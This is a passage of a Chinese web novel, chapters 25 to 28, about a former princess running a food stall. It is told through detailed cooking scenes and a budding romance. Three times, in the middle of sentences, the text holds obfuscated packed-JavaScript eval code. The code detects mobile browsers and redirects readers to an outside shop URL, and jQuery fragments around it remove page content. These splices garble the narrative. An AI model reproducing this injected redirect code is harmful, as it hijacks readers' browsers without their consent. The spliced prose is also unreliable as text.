盛时云随便摘了门外树丛上的一片叶子,正准备去压水井边洗手,转身时却觉得衣角紧了紧。一回头,正瞧着穆遂安跟在她身后,耷拉着眼角,不满道:“他怎么刚来就叫你阿云,好无礼。” 啊,超绝狗狗眼…… 穆遂安的剑目中似有水光闪烁,亮晶晶又带着点可怜。 心口像被福团的尾巴搔了一下,盛时云按下穆遂安扯着她衣角的手,反过去拽他的袖子,侧头扬了扬眉:“他跟伏念一起叫的,不然直呼大名岂不是更没礼貌。” 她碎碎念道:“我去炒菜,你来给我打下手吧。” 穆遂安乖乖应声,眼睛一眨,敏锐地发现盛时云的耳朵变红了。 意识到什么之后,他的表情逐渐明媚起来,身后那条隐形的尾巴似乎摇得格外欢快。 看来耍点心机还是有作用的嘛…… 盛时云提前准备了不少菜,锅里还炖着红烧肉。新买的五花肉切成正正方方的小块,油亮莹润,由内而外透出酱棕色,鹌鹑蛋滚在其中,随着汤汁上下浮动。 穆遂安敞开锅盖,让盛时云瞧一眼,香味顶得人发昏,他不自觉地咽咽口水,问道:“是不是还得收收汤?” 这样的肉菜最好能把汤都收完,这样酱汁才会裹在肉和鹌鹑蛋上面,口感丰富更有嚼头。盛时云着手擦了擦菜刀,将案板上切好的蔬菜丁拢在一起,扭头往铁锅里面看了一眼道:“再过个半刻吧。嗯?你现在连收汁都知道了。” “阿云教得好。” 盛时云手一抖,差点把鸡肉撒到小锅外面。 四个人的菜不必做太多,她按人数准备了两肉两素,最繁琐的红烧肉已经差不多可以上桌了,下一道菜就是宫保鸡丁。 盛时云打算做个正宗的,因此多了很多讲究。提前剔出滑嫩的鸡腿肉,切丁,用料腌好。热锅烧油,油用的是猪油,再加干辣椒和花椒爆香。 正宗的宫保鸡丁有种味型称作糊辣,是指将辣椒炒到焦糊的状态才算对味。下进鸡肉先炒,油温嗞啦辣椒的焦香呛入肉中,再放葱姜蒜。 最后一步倒入酱汁勾芡。酱汁里面主要是糖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209328|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、醋和淀粉,大火快炒几下,直到酱汁全部挂在肉丁和葱段上面,再撒入花生米,就能拌匀装盘。 整个过程不超三分钟,盛时云的铲子都要翻出花来,穆遂安眼花缭乱地站在旁边,不时递过她需要的碗碟,暗自惊叹。 伏念闻到香味溜过来,探头张望:“这也太丰盛了吧!我来端我来端!”她呼了呼手,叉腰回头,泼辣道,“谢晖,来端菜呀,真当你是大少爷呢!” “来了来了。哇,这炒的是什么?看起来好下饭。”谢晖小跑过来,也是探头过去,眼神顿时迸出光彩,动作和伏念一模一样。 “剑笋炒肉。你别靠太近,影响她发挥。”穆遂安接话过来,不着痕迹地往盛时云身后挡了挡,手一松,将刚盛好的红烧肉撂到谢晖手上。没有手巾垫着,大碗的碗沿烫得谢晖龇牙咧嘴,“拿好了。” 那边把两道菜刚端走,盛时云这边的剑笋炒肉也好了。夏天的剑笋最嫩,裹着肉汁鲜脆油亮,泛出诱人的焦色,光是闻着味道,一盘菜都能下五碗饭。 最后一道菜是在东北最常见的——老虎菜。尖椒、大葱和香菜切丝,再加蒜片和宫保鸡丁余下的花生米,最后把料汁淋在上面,简单方便。 食材简单,料汁的调配也没什么讲究,四勺酱油、另加香醋香油各一勺,撒上盐和白糖就大功告成。 一碗老虎菜拌好,翠绿清雅,透着浓浓的家常气,解腻清口,十分适合作为一桌鱼肉的调配。 手里端着菜,盛时云用胳膊肘戳戳穆遂安,向伏念两人扬了扬下巴:“你说,他们俩是不是不对劲?” “嗯?怎么不对劲了。”穆遂安拿抹布将灶台边的油渍擦干净,莫名地抬起头。他看了看盛时云,又看了看对着红烧肉两眼放光的谢晖,灵机一动,中肯地点头道,“是不对劲。” 这个伏念,莫不是打着把阿云撮合给谢晖的念头…… “我就说吧。”盛时云得意地把老虎菜放到桌上,脸上满是得逞的坏笑。她一手拽着伏念的袖子,一手去揪伏念的脸蛋,“你们俩是不是有问题,如实招来!” 伏念笑闹讨饶,谢晖有眼力地冲过去帮忙,留下穆遂安一人在风中凌乱。 不对劲,真的不对劲。 “严刑逼供”之下,伏念终于承认了。她笑意未减,给谢晖递了个眼神,伸手将人拉过来,弯起眼睛笑眯眯地一歪头:“嘿嘿,还是没躲过你的眼睛。” 他俩自上次骗钱一事后,不打不相识,整个成了欢喜冤家。伏念来去自由,而谢晖从小就被拘于方寸之地,两人聊起天来却十分投缘,相见恨晚。 谢晖熟读行商经典,为人诡谲,几番言论都让伏念十分认可。伏念并非柔弱女子,谢晖口中的那些从商之道,不论好的坏的正的歪的,她一律听得津津有味。 铺开草纸,伏念又将自己游历的见闻告诉谢晖,一来二去,他们竟商议出一个赚钱的新法子——制药酒卖往杏州渡。 谢晖手里管着几个场子的酒业,伏念又多与各家医馆做过熟人,原料来源十分方便。杏州渡在衡阳和京城的北边,稍近漠北,那边的胡人倾向汉化,多崇中原养生之道,定然会对药酒感兴趣。 果真是个极好的商机! 盛时云搬来新买的米酒罐子,给两位“贵客”先舀了两勺,欢喜道:“好啊好啊,原来是这样,亏我还记挂着你别被欺负了。这下多喝几杯才行!” 虽是这样说,几人坐定,还是先拿起筷子准备开动。一来没有空腹喝酒的道理,二来好菜摆在眼前,再不吃进嘴,口水都要流成河了。 伏念先夹了一大块红烧肉放在米饭上。方正的肉块炖得软烂,肥瘦适当,莹出油光。她很会吃,用筷子把肉和鹌鹑蛋戳戳拌进饭里,一大口进去,肉香混着蛋黄沙沙的口感,香得让人掉眼泪。 “好好吃!”她大口扒饭,又夹了一筷子老虎菜,清爽的尖椒丝顿时解腻,整个人焕然一新,继续吃下一口。 穆遂安则夹了剑笋,他常居漠北,根本没机会吃到过这种蔬菜。昨天买来时,他就在旁边瞧了很久,今日一吃,确实脆嫩可口,还有一点麻酥酥的感觉留在舌尖上。 谢晖第一口吃的是宫保鸡丁。他取了个勺子,肉丁连着花生米一勺全部送进嘴里,脆脆的花生拌这嫩生生的鸡腿肉,层次丰富,甜中带辣,十分下饭。 三人同时认可:“特别好吃。” 盛时云也伸筷子夹了个鹌鹑蛋,细细品尝,味道确实不错。她眯着眼睛转向伏念,嘿嘿一笑:“多吃点多吃点,吃饱了可就要喝酒了!” 26. 麻酱酸辣面 入了夏,青州一天比一天热。过阵子该在外面挂棚子、铺凉席。盛时云家的庭院顶上是棵桂花树,眼下刚好投出一片阴凉遮在小桌上面,供四人推杯换盏,说了许多最近的见闻趣事。 提到新营业的麻辣烫,伏念可有了话题。上次在这里吃到的那一顿黏糊麻辣烫,她记到现在。不禁急道:“明天出摊吗,我也要去,正好瞧瞧秀娘。” “自然没问题,还要你帮我算账呢。”盛时云嚼着脆笋,稍微扬起下巴示意了一下,提起酒碗跟伏念碰杯,“现在手头宽裕了不少,再过阵子没准真能开家食肆。” 上一世,盛时云很爱喝酒,倒不是为了什么应酬,纯作生活调剂。古代没有现代那样好的技术,土法子酿出都是低度酒。因此,她尝到碗里米酒的时候,根本没当回事。 上次跟伏念喝的时候也不过一人一碗,到底没觉得怎么着。 结果谁知,原主身体素质不好,在宫中时更是没机会碰酒,竟是个一碗倒。 面前的酒坛子要见了底,还没几个来回,她就撑不住了。晕下去的那一刻,盛时云天旋地转之余恨得牙痒痒,自己什么时候变这么菜了…… 有伏念在,用不着穆遂安动手。她扶着盛时云的胳膊,将人拽起来丢到床上。盛时云醉了还要哼哼着喝水,伏念递了水,干脆躲闲地在她身边垫了个枕头靠下来。 正好,洗碗的事就交给外面那俩人吧。 一桌子菜吃得几乎只剩下几粒花生米。穆遂安还在吃药,因此滴酒未沾。谢晖也是能喝酒的,脸都没红,他学着伏念的样子,把剩下的两块红烧肉和鹌鹑蛋拌进饭里,一边扒饭一边暗中瞧着穆遂安的脸色。 穆遂安吃饭的姿态就比他斯文多了,他皱了皱眉,将筷子搭在碗上,轻讽道:“谢明智的孙子就学了这点礼仪?” “哎哟。”谢晖抚了抚胸口,两手合十,小幅度地朝穆遂安拜了拜,苦道,“侯爷明鉴,无量天尊,我真不是我祖父派来打探你们的。” 前个月他在青州遇袭,冀西山还未曾抽身前来回禀,但飞来隼子提笔几字略写了半片纸,幕后之人大概率跟谢家八竿子打不着。 “谢少爷又想多了不是?”穆遂安心里明镜一样。他虽然心烦谢明智一把胡子的古板样,但一码归一码,跟谢晖挂不上钩。 但话又说回来,穆遂安现在明显有其他原因不想搭理谢晖,目光越过他,遥遥看向盛时云躺着的屋子。 谢晖行走生意场,察言观色的能力不是一般人能及,他愣了愣,给自己斟了一碗酒,眸色深沉:“侯爷也知道她的真实身份吧。” 穆遂安的指尖碰了碰筷子,意料之中,应了一声。 谢晖早就猜到了盛时云的身份。他虽然不如其他世家公子一般得人青睐,到底从小的熏陶,令谢晖心中存了几分家国间的琐碎事。 大周二殿下盛时云下放青州,在朝堂上也引起了些许的骚动,最终被谢阁老平定下来。因为这事跟谢晖也多多少少沾了关系,所以他也留心了几分。 ——不就是听说要跟自己成婚,被吓跑了么。 谢晖将碗里的酒一饮而尽,酒劲上头,他露出些戏谑的模样,直言不讳:“既然不是谢家的缘故,难道侯爷是因为那个未竟的婚约?” 穆遂安没吱声,舌尖顶了顶腮肉。 谢晖却看好戏地瞧着他,似乎面上波澜不惊,暗地里却把牙都快咬裂了。 沉默一言顶万句。 谢晖觉得好笑,没再欠嘴多问,站起来自觉地收拾碗筷。 到了压水井边,他不禁睁大了眼睛,上下打量了一遍,啧啧称奇道:“好精巧的水井,是什么原理做的?” “管子里的吸力。”谢晖在这,穆遂安就没打算动手洗碗,把碗碟端到井边也只是为了装装样子。他弯下膝盖,半蹲在谢晖面前,用水流冲洗着指尖的油污,“阁老最近身体还好吗?” 语调云淡风轻,但与方才的意味稍显不同。谢晖取来一块打湿了的手巾,卖力地擦着碗,闻言动作顿了顿:“好着呢。我祖父的精气神,侯爷又不是不知。” “……”穆遂安微微颔首,重新站起来把手擦干,道,“待本侯伤好,自会回京城探望。”他的声音惫懒疏淡,周身却散发出一种晦涩不明的压迫感。 谢晖慢条斯理地把洗干净的盘碗摞在一起,看向穆遂安的眼神颇有些微妙:“言晖虽不才,却有一事可以作保。谢氏是清流之地,绝不会参与那些腌臜之事,祖父与你意见相悖,但他手上最干净,做不出杀人放火的事。” 穆遂安的神情变也没变,眼角透出些许恣睢,他拐着弯“哦”了一声,倘若无事发生,刻意换了个话题:“你的字是言晖啊。” 谢晖从善如流地住了嘴,笑道:“是啊。” 言罢,二人心知肚明地再没说话。 穆遂安提步往灶台旁,轻车熟路找出前阵子刚买的蜂蜜。他快烧了些热水,倒着蜂蜜搅拌在水中,端着往盛时云睡着的门口走去。 开门的是伏念,见穆遂安敲门,鼓着腮帮惊讶地眨了眨眼…… 从穆遂安手里接过蜂蜜水,她关门回身,一副被腻到了的样子,溜到盛时云的床边,拍了拍她的脸:“你猜穆遂安刚刚和我说什么?” 盛时云还迷糊着,不感兴趣地把头埋在被褥里面,睁不开眼睛,嘟囔了一句:“怎么了?” “他说麻烦我照顾你,还说如果明天起不来的话,他可以单独去三仙街摆摊,叫你不要着急。”伏念看好戏地咧着嘴笑,添油加醋,“语气那个温柔哦,动作那个靠谱哦,你真的对他没感觉?” 盛时云窝在软被子里面,伸出一截藕臂,将蜂蜜水放到嘴边细细抿着。伏念在耳边吵闹,让她清醒了不少,但还带着些酒气,晕乎乎道:“长得是挺帅哈……” 伏念一看有戏,想要再问—— 结果下一秒,盛时云放下喝空的杯子,一卷被子翻过身:“睡觉!明天还得出去赚钱。”伏念还没开口,就听被卷卷里面就传出来均匀的呼吸声。 “你个大财迷。”伏念恨铁不成钢地咬咬牙,一跺脚拿着杯子推门出去,好巧不巧,在门口撞上了搬着板凳路过的谢晖。 她压着声音“哎哟”一声,抱着胳膊搓了搓。随即靠在门框边,小猫洗脸一样侧了侧头:“他人怎么样?” 谢晖看她可爱,自然而然地笑起来。他想起伏念在马车上嘱咐自己的话,又想起方才与穆遂安的交谈,多少有点汗颜,不动声色地点了点头:“嗯……试探过了,是个好人。” “那就好。”伏念打着哈欠碎碎念,走到墙根立着的推车旁边,感慨地摸了摸。 “喜欢我们阿云的人,我可得先打听清楚了。相貌是过关了,姿容也不错,就是身世不太好……总感觉配不上阿云。咦,他有没有说他是哪里人……?” 穆遂安方才出去了一趟,回来的时候捎带着把门口送来的几口袋蔬菜拎了进来。 伏念和谢晖两人在院子里聊了半天,见他进门,双双扭头看去,见他放下了口袋,从怀里摸出了一张木牌。 伏念不知道那是什么,谢晖可是见过的。 他两眼放光,视线随着穆遂安的动作落在桌上的木牌上面:“这是……” “当日伏念姑娘的救命之恩,穆某还未谢过。”穆遂安纵手行了个礼,随后收起动作,说道,“你们要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233105|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杏州渡做生意,我不懂那些药啊酒啊的事,这块木牌能暂管你们到那边半年内的开销用度。” 伏念着实惊了一惊。她仓促站起来,推脱客气道:“举手之劳而已,公子这东西有点太贵重了,我的功劳不及阿云,要不然留给时、阿云用去,还能多给她帮些忙。” “不只是因为先前的事,我还有个事情得朝两位请教……” * 第二天一大早,盛时云起床起得很爽快。 难自从来了大周,她要么在皇宫里提心吊胆,要么在青州晚睡早起。虽然每天过得充实,但睡上这么舒服的一觉简直难得。 她起的时候,其他人还在睡。 盛时云穿上往日出摊的衣裙,推门出去,在放米面的地方找出昨天刚买回来的挂面,估摸着四个人的量,烧开热水把面下进去。 趁着面条在沸水中舒展,盛时云热锅烧油,一共煎了八个鸡蛋。鸡蛋的个头不大,他们又要在外面干一天的活,自然多吃点。 煎好鸡蛋,她取来一个大碗,快刀将拍扁的蒜瓣切成碎末,再舀辣椒粉和芝麻。锅内的热油盛出一勺淋在上面呛香。 只听“嗞啦”一声,辣油迸溅,香气四溢。 盛时云麻利地在碗里倒入两勺酱油、两勺醋,外加满满一勺芝麻酱,最后舀半勺面汤调成汤底,均匀分在另外四只碗里。 穆遂安从外面推门进来的时候,盛时云正把煎鸡蛋端到桌上。 福团在狗窝里朝他摇尾巴,院里飘着酸辣鲜香,让穆遂安还麻木着的感官豁然贯通。 他心头紧了紧,两步抵三步地快步走到盛时云身边,接过她刚盛好的面碗,低声道:“怎么起这么早?” “昨天睡得早啊,都没来得及安排他们的住处。”盛时云早上起来的时候看到伏念睡在自己身边,还贴心地给她掖了掖被角,“谢晖昨天睡在哪?” 穆遂安正帮忙从热汤里捞起小油菜摆在面条上,闻言顿了顿,语气平平:“哦,我去马车上睡的。” 放上油菜的麻酱酸辣面,表面浮着辣油,每根面条上都裹着浓郁的酱汁,麻酱的浓香之中夹杂着醋的酸味,恰到好处中和了腻味。 早上来一碗,开胃又顶饱。 “啊?”盛时云习惯性地将灶台擦拭干净,转过身揩着手,“你昨天没睡屋里吗?”她这才想起来,穆遂安方才确实是从外面进来的,不由得眨眨眼,涌上担忧的滋味。 “谢少爷金尊玉贵,我怕他挤着睡不习惯。我去外面睡一宿没关系的。”穆遂安垂着眼睛,看上去竟有些可怜,他也摆好了桌上的碗筷,“是要一起去出摊吗?我去把他们叫起来。” “昀川!你等一下……”盛时云的担心简直要溢出眼眸,她匆匆拉过穆遂安的袖子,让人坐在凳子上。 手心温温热热的,去探他的额头,察觉到没有异常才松下一口气来。盛时云也坐下,略有责怪:“就算现在入夏了,晚上还也没热起来。你身体虚弱,生病了的话又得吃药。” “我知道了。”穆遂安乖巧点头,唇角有些难压。 盛时云无奈地叹了口气,站起来叫了伏念起床,又去把食材搬到车上。穆遂安跟上去帮忙,认错一样低头干活不说话。 他的模样可怜兮兮的,细细一瞅,似乎眼眶还有点红。 盛时云的心脏快跳了几下,感觉心底有什么被勾了上来,像昏君见了美人似地抿了抿嘴,解释道:“怎么要哭了?我没有怪你的意思,这不是担心你吗?” “那你是担心我不能给你打工,还是单纯担心我这个人?” “自然是……”盛时云被拿捏得晕乎乎的,“自然是担心你这个人!” 27. 土豆焖子饭 做食摊最注重推陈出新。 现代在夜市做小吃的时候,盛时云就发现,一些网红小吃总在不知不觉间被顾客抛弃。一开始还很火的食物,在热潮褪去之后,还是会返璞归真。 因此今天赶上伏念也来帮忙,她打算放一天的狼牙土豆,改做土豆焖子饭。 这道小吃的用料也不多,光用土豆、米饭和焖子,若是想来点荤的,可以加份鸡蛋。盛时云提前用地瓜粉将焖子熬了出来,等去摊位上现炒现做。 “你们往哪去?” 一行人刚到三仙街,盛时云就见谢晖跟伏念低声说着什么,往旁边指了指,拽着穆遂安说了声“走”。 穆遂安回头要答她的问话,就见谢晖摆了摆手:“我可干不了体力活,初来乍到,让穆兄弟带我逛逛青州。你们忙,等收摊了我们就回来。” “呸。”伏念朝着谢晖的背影啐了一口,一脸不屑,哼唧唧地靠在推车上,仰头向盛时云挤眼睛,“他就是个娇生惯养出来的少爷,毛病真多。” 盛时云把铁板烧热,先将焖子倒上去,腾出一块位置来煎炒。焖子晶莹剔透,甚至浇点蒜汁直接吃都可行。 蒸好的脱皮土豆,一颗一颗整齐地摆在铁板上,不多时就煎出了焦香的脆皮,金黄软糯,叫人瞧一眼就食欲爆棚。 伏念也没闲着,她在推车旁边,将做麻辣烫要用的菜和鹌鹑蛋处理好放在一旁。 因为今天有新吃食,盛时云来得比往常早了些。树影挪到青砖的缝隙里,盛时云也把手里的准备工作做完,一抬头,就见到了莫秀娘的凉粉摊开张。 “呀,伏念!好久不见又水灵了呢。哎哟,这小脸蛋真招人稀罕,怎么保养的。”莫秀娘手里端着做好的凉皮,身后的秦二姐挎着一大个装碗的篮子,也惊喜道:“这是伏姑娘吧,长得真漂亮。” “给我夸上天了。”伏念开心地站起来,手臂一张,搂住莫秀娘的脖子,“最近过得怎么样?” “不错啊,托时云的福,我们都赚了不少。”莫秀娘笑呵呵地捏她胳膊。 秦二姐把碗筐放下,打完招呼,主动将做麻辣烫的格子锅支起来,倒水进去先热一遍。紧接着,转身把几张桌子椅子摆好,碗筷放在旁边。 她昨天带薪休了一天假,今天干脆早点来。盛时云瞧她也来了,十分高兴,过去和她说话。 “今天穆郎君没来吗?”秦二姐手里端着水盆慢慢走过来。她往铁板上看了一眼,香味钻进鼻子里,“又要摆新玩意了啊。” “是啊,他有别的事去忙。新出的土豆焖子饭,现在还没到火候,一会儿分给你们尝尝。”盛时云一工作起来就无比认真,把兴趣变成工作还这样兴致盎然的就只有她了。 “二姐你今天先收拾收拾麻辣烫的锅子,之后来帮我卷凉皮。我做焖子饭,穆遂安没来,你先辛苦着。” “您说哪里话,卷凉皮我也学熟了,老板您放心就成。”秦二姐笑容可掬,麻利地桌椅和支起来的锅擦干净,洗手来凉皮旁边守着。 为了避免太忙,她们一直是下午才开始卖麻辣烫,因此并不忙着把食材煮出来。 没多久,伏念舔着嘴唇从莫秀娘的凉皮摊回来,一眼就看见案板上放着的大盆。 盆里搁着一团米饭,米饭上盖着一片喷香的煎蛋。盛时云的两只手各执一只铲子,夹起三颗煎得绵软的土豆,放到盆里有技巧地用铲子切碎压面,煎蛋和焖子也混进饭里,均匀地裹住了每粒大米。 盛时云舀起几勺用酱油和香醋调配的秘制汤汁,香菜葱花芝麻和辣椒油一同撒入,继续用铁铲翻拌。翠绿点缀在其中,更加诱人。 双倍碳水的香味勾得伏念眼睛都直了,她擦擦嘴角并不存在的口水说道:“快给我来一碗!!” 她的声音有点大,让在擦桌子的秦二姐也回过头来。 秦二姐的眼睛也亮了:“我也要一碗!” “别急,都有都有。”盛时云拿了几个小碗,把盆里的土豆饭拨出来,递给两人,自己也盛了一碗,“剩下的给秀娘。” 伏念迫不及待就是一大口,土豆的香气直冲天灵盖。米饭颗粒分明,混着土豆和蛋黄沙沙的口感,时不时咬到软弹的焖子,或者酥脆的土豆锅巴,又是别一番风味。 “太好吃了!时云,我要感动哭了!!”伏念一边吃一边假装擦眼泪,咋咋呼呼的样子引来了莫秀娘看热闹。 “好啊!你们三个背着我偷吃!”莫秀娘捉奸一样露出些得意的神色,视线落到碗里时也住了话头,期待地看向盛时云。 “我的姑奶奶,人家盛老板给你留着了。”秦二姐一碗下去也有点意犹未尽,她把莫秀娘的那份递给她,摸了摸肚子,“还好今天早上吃得少,不然要撑坏了。” “嗯!!好吃啊!”莫秀娘连吃了几口,听到秦二姐这么说,不禁看向伏念,拽着盛时云的手臂,大笑出声,“伏念,你肚子撑不撑啊?刚刚在我那吃了一碗凉皮和一大块发糕。” “她今天早上还吃了一大碗面条。”盛时云无奈又好笑地摇头。 “嘿嘿,好吃嘛,我又忍不住。”伏念把吃得干干净净的空碗放下,不好意思地吐了吐舌头。 笑闹间,三仙街的行人逐渐多了起来。今日的云家食摊又飘出了不同的香味,不少人往推车里面看,一探头,就瞧见铁板上整齐排列着的土豆,每颗土豆浑圆可爱,上面还有一层脆壳锅巴。 实在馋人! “盛老板!多少文一碗啊?”来人是个熟客,教书先生的模样,胳膊底下夹着书卷子凑过来,眼睛都要落到盆里。 盛时云露出了标准的热情笑容:“也是五文钱,加煎蛋的七文钱。” “香!这等美食珍馐,人间哪得几回闻。给我来个加蛋的。”他岁数也不年轻了,捋着山羊胡子,数出七个铜板来递给伏念。 这人眼神似乎不太好,“嗬”了一声站在原地,仔细打量着伏念,“这位小娘子……有点眼熟。” “是啊,您记性真好,还能记得我。欸,慢着点……” 伏念从秦二姐旁边走过来,把他递来的铜板收到荷包里。她应着声,一抬眼,就瞧见男人一个趔趄差点摔在地上。 盛时云也注意到了伏念的动静,推车前面已经排了不少的人,她家在青州久负盛名,因此发放的集签票也少多了,即便如此大家还是都乐意来品尝。 “别当老子道。”后面一个秃脑亮穿着个汗衫,忽然不耐烦地骂起街来,“郑狗子,买完了就赶紧滚。” 被称作郑狗子的人,本名叫郑道善,参加了几次科考也没混出个名堂,因此受到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240415|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少讥讽。 白白挨了一胳膊肘,郑道善捧着刚买的手里的土豆焖子饭一脸委屈,他挪了个地儿,愤愤不平:“无心无道!我并没有惹你,你推我作甚?” 他一屁股坐在椅子上,不服气地念念咕咕,周边排队的人竟也将他当空气,顶多投去几个同情的眼神。 郑道善的名声青州可知,天天抱着本书在学童面前之乎者也,却到现在没有一个女人愿意嫁给他,平白在人后得了许多不好听的声音。 秃脑亮哼哼一笑,斜着眼看他:“个酸文人,这辈子也就能读死书。”他转向盛时云,“老板,来碗高规格的,我要加三个蛋。” 盛时云与伏念对视了一眼,脸色都不太好看。 没有无端拒绝顾客的道理,但光天化日之下欺负人,实在不像话。 盛时云朝秦二姐招招手,附在她耳边道:“你过去把郑先生领到旁边坐一会儿,再补偿个卷凉皮安慰一下,等我忙完了过去赔礼。” 她火速将三个鸡蛋的焖子饭做好,递到男人手里:“您慢点入口,小心烫。” 又一连出了两份餐,盛时云把伏念拉到推车前充个门面,摘了围裙往秦二姐那边过去。 郑道善没接着卷凉皮,表情不太自然,别过眼轻轻叹气,嘴边的胡子随着他吐气哆哆嗦嗦的。秦二姐不善言辞,站在一边有些无措。 “郑先生,方才受委屈了,我得给您赔不是。这个是小铺的一点心意,您不必多想。”盛时云从秦二姐手里接过那个卷凉皮,放在郑道善掌心,小鹿一样的眼睛真诚地看向他,其中并无奚落和嘲讽。 “你……盛小娘子,是老夫无端出丑了,影响你做生意。”郑道善不再推拒,将书卷整理好,接过盛时云递来的卷凉皮,干瘪的眼里似乎含着点泪,起身欲走。 他重重叹了一口气:“多谢。” “且慢!” 盛时云刚想再说些什么,熟悉的声音先她一步从身后传来。她一回头,看见穆遂安大踏步地从远方走来,后面跟着的是谢晖,二人雍容不迫,自带气场。 闻声,秦二姐和郑道善双双回头。郑道善见穆遂安的目光落在自己身上,奇怪地指了指自己:“我?” 谢晖不认识郑道善,作为熟客,穆遂安却是认识的。他今天精神很好,给盛时云递了一个让她放心的眼神,开口道: “听说郑先生家里有座闲着的铺子,能不能租给我们做食肆用?” 盛时云还没反应过来,不解地摸摸鼻子,“嗯?”了一声。 “是这样的,方才我们两人去城里转了一圈,看见有家铺子地段和格局都不错,一打听是您的。”谢晖端着笑,“只是这么好的铺子荒废也是荒废了,不如租给盛小娘子,您也能得利。” 明白了穆遂安两人什么意思,盛时云也明晰了。她心口被猛然敲了一记,一双眼睛都亮了起来,上前几步,难掩面上喜悦的表情:“租铺子,开食肆?” 秦二姐听了也十分高兴,她知道盛时云要在这里谈上一会儿,更何况主家私人的事情,自己也不宜多听,于是主动道:“我先回去把麻辣烫煮上。” 郑道善方才还带着忧愁的浊眼,其中情绪变幻莫测,皱眉打量着面前站着的两位公子,冷笑一声,拂袖而去:“我家铺子,一概不出租。” 28. 姜撞奶 “你们怎么想的,租他家的铺子?” 晚上收摊回家,冯桃带着乔乔过来串门。一进去就看见四个人坐在桌子前面抓耳挠腮。 听完事情的始末,她一拍手心,讲道:“郑道善大有来头,也不能说是个窝囊废。这事里面还牵扯着一个女人。” 郑道善一直未娶,原是因为他青年时中意过一位姑娘。可惜家中老娘不觉门当户对,强硬地要他二人分开。 郑老娘与姑娘的家人一商量,竟果真让他们再也没见过面。后来才知,是郑老娘谎称郑道善已经定亲,叫姑娘不要再来骚扰她儿子。 姑娘死心绝望,一年之后嫁了人。又是三年,竟死于难产,连孩子也没有保住。 了解始末的郑道善失魂落魄,发誓不再娶妻。郑老娘看儿子这样后悔不已,把自己的身家全都卖了,买下一间铺子留给儿子。没过几年,郑老娘也归了西。 自此,郑道善虽然手里捏着一间好铺子,却从来没有用它赚过钱。想要靠自己科举做官、为民抱不平,却屡试不第,只能做一名教书先生。 女人都爱听悲离别的爱情故事,刚好这个故事又活生生地上演在身边。盛时云和伏念都是一叹。 冯桃过了感慨的年纪,却也努了努嘴没说话。 半晌,穆遂安掩唇轻声咳了咳,摇头道:“这铺子不好,不能要。” 谢晖却头疼地敲敲脑袋:“哎哟。怎么就不能要了,我看这家好,有故事的店铺才能赚钱呢。要是能说服郑道善,阿云的生意一定能更上一层楼。” “有情人难成眷属。”穆遂安喝了口茶,转头去寻盛时云的目光,眸子里水汪汪的,补充道,“寓意不好。” 谢晖:…… 伏念:…… 盛时云习惯了接收他的扮可怜的眼神,淡定地看向冯桃:“我觉得谢晖说得对。有故事的商铺更能引起顾客的兴趣,更何况地段不错、里面的布局也好,绝对不能搁下。” 穆遂安垂下眼睛,不再说话。 “那明日再去找郑道善问问,他家就在二桥那边。过了大柳树的第一间房子,外面堆着几个书箱子的就是。” “等明天收摊,我和……”盛时云不自觉地看向伏念,伏念却往穆遂安的方向扬了扬下巴。 盛时云眉心一跳,偏头转向穆遂安:“你要不要和我去?” “去啊。”穆遂安倒是一点也没犹豫。 其余三人互相对视一眼。冯桃了然地往后靠了靠,朝正追着福团满地跑的乔乔招了招手,站起来理理衣服:“那我俩就不叨扰了,明天我还得往娘家去一趟,过两天有毛桃下来了,回来的时候给你们带点。” “阿姐你可得早点回来,不然我走了可吃不着了。”伏念双手托着脸,眼睛眨巴眨巴。 “我这次回来的快,超不过两天。” “那成!记得给我挑点甜的。”伏念笑嘻嘻地往左一倾,抱住盛时云的胳膊,“咱们今天吃啥呀?” “荷塘小炒和葱香酥肉。”盛时云挽起袖子也站起来,对冯桃客气道,“不坐下一块儿吃点?” “你家人多,我们就不添麻烦了。对了,过两天再做点果脯给乔乔吃吧,上次买的她都吃完了。” “这好办。” 送走了冯桃,盛时云和穆遂安一起到灶台边开始做饭。伏念见厨房的事情轮不到自己,干脆坐在桌前,把第二天出摊要用的食材洗好。 谢晖确实干不得这些细碎的活计,但他极有眼力见,在伏念旁边端来净水,又把洗干净的菜端走,倒是一刻也没闲着。 盛时云把从开水里捞出来的翠绿葱叶剁碎成葱茸,切好之后跟鸡蛋、花椒粉、姜水和盐一起抓匀,夹起猪肉条在里面打个滚,搁在油锅里炸至定型。 穆遂安坐在灶边看着火候,时不时填进去一根柴禾。 炸好的葱香酥肉金黄可口。盛时云用指尖捏起一根放进口中,“咔嚓”一声,又烫又酥,还有一股极浓郁的葱香。 